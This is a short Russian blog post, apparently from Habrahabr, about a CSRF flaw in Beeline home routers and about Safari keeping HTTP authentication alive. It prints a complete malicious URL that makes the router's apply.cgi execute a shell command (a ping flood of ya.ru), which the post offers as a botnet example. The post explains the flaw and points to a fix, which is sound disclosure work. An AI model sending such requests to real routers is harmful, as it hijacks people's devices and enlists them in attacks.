_В продолжение публикации [«Был получен доступ к тысячам персональных данных пользователей «Билайн проводной интернет»»][1]._ Как вы уже узнали, в этой небольшой коробочке скрывается довольно много интересного. Есть такая совершенно очевидная и в то же время сравнительно невинная ошибка, [CSRF][2]. Примечательно, что она находится именно в тех роутерах, в которых ничего из недавней статьи нет. Однако, в отличие от тех багов, ее могут эксплуатировать не только ваши соседи, а кто угодно, вроде коварного собеседника в чате или единожды посещенного сайта. CSRF работает так: каким-либо образом попросить браузер жертвы загрузить сочиненный url, при этом целевой сайт, узнав ваш браузер, что-то сделает, как будто этого хотели вы. Примерно вот так будет выглядеть адрес от человека, собирающего ботнет для дерзкой icmp-атаки на ya.ru:
http://192.168.1.1/apply.cgi?
current_page=Main_AdmStatus_Content.asp&
next_page=Main_AdmStatus_Content.asp&
next_host=192.168.1.1&
sid_list=FirewallConfig%3B&
group_id=&
modified=0&
action_mode=+Refresh+&
first_time=&
action_script=&
SystemCmd=nohup+ping+ya.ru+%26&
action=Refresh
Есть то, что защищает обладателей типичных CSRF-уязвимых роутеров, это с большой вероятностью отсутствующая у жертвы в момент атаки авторизованная сессия, что сводит на нет любой удачно сформированный от ее имени запрос. А вы знали, что Safari не имеет привычки забывать\* один раз введенные данные http аутентификации? Я вот не знал, но уже несколько недель как захожу в веб интерфейс не вводя пароль, хотя никогда не просил его сохранять. И, что удивительно, даже ничего не могу с этим сделать. Иначе говоря, если роутер при логине показывает такое системное окошко с предложением пройти аутентификацию, а у вас Safari, то закончить сессию так просто не получится. На этом месте я осознал необходимость что-то со всем этим сделать. [Топорное решение проблемы под катом][3]
[1]:
http://habrahabr.ru/post/243997/
[2]:
https://ru.wikipedia.org/wiki/Межсайтовая_подделка_запроса
[3]:
http://habrahabr.ru/post/248917/#habracut